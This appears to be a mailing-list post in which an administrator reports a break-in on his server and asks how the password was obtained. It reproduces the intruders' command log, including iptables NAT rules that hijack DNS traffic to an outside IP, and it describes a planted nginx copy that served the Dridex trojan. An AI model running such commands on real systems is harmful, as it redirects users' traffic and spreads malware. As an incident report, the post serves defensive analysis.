Earlier this month, a Greek IP address failed to login to five WordPress
sites on two of my servers - not on BitFolk. One attempt each on four
sites, and seven on another spread over several days.
On Tuesday last week, it was blocked for 24 hours by both of them after
five failed attempts to login via ssh.
On Wednesday, it succeeded on one of them. Given the strength of the
password, the fact that it's not used (by me) anywhere else, and the
chance of doing this by random, I would quite like to know *how*.
I did login over ssh that day via my mobile, but there is no sign that
my phone is compromised - I logged into three other servers that day,
and none of them have seen this happen. Similarly, if my PC had an
issue, I would expect the other servers to be affected.
I would be wondering about the other people who know the password for
this one except that if it knew the password, why did the IP address
fail the previous day?
Two other 'not me' IP addresses have also since managed it, most
recently on Sunday.
What I can see that they did was firstly...
netstat -napu
cat /etc/resolv.conf
cat /etc/bind/named.conf.default-zones
ifconfig
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT
--to-destination 176.9.74.8:10054
iptables -t nat -A POSTROUTING -p udp -j MASQUERADE
iptables -t nat -L -v -n
iptables -t nat -L -v -n
ifconfig
iptables -L -v -n -x
iptables -I OUTPUT -p udp --sport 53 -j ACCEPT
iptables -I OUTPUT -p udp --dport 53 -j ACCEPT
iptables -L -v -n -x
exit
netstat -napu
exit
.. which, if I understand it correctly, is redirecting DNS requests to
that IP address (various sites reckon that's a site in Germany,
chipmanuals.com, apparently owned by someone in Tbilisi, Georgia...)
Secondly, on Sunday various files were placed in /tmp/.estbuild
including a copy of nginx.
This seems to have been serving a version of the Dridex trojan in the
form of a Windows .exe file from (domain name)/uniq/* before passing the
request onto Apache to 404 the /uniq/ URLs. Fortunately, because of how
it was set up, only requests to the server's own domain name were
affected and it looks like that only had about three human visitors in
that time, one of whom complained.
Obviously more could have happened - there's nothing else odd in various
log files, but clearly they cannot be completely trusted.
On the plus side, this was the server that was first in my queue to
replace with one running Debian Jessie, and it has been ten years since
anything like this has happened to me,* but grrr...
Ian
* The person who ended up being the boss of a former workplace opened an
executable attachment in an email both 'to' and 'from' them that they
knew they hadn't sent, but they "wanted to know what it was..."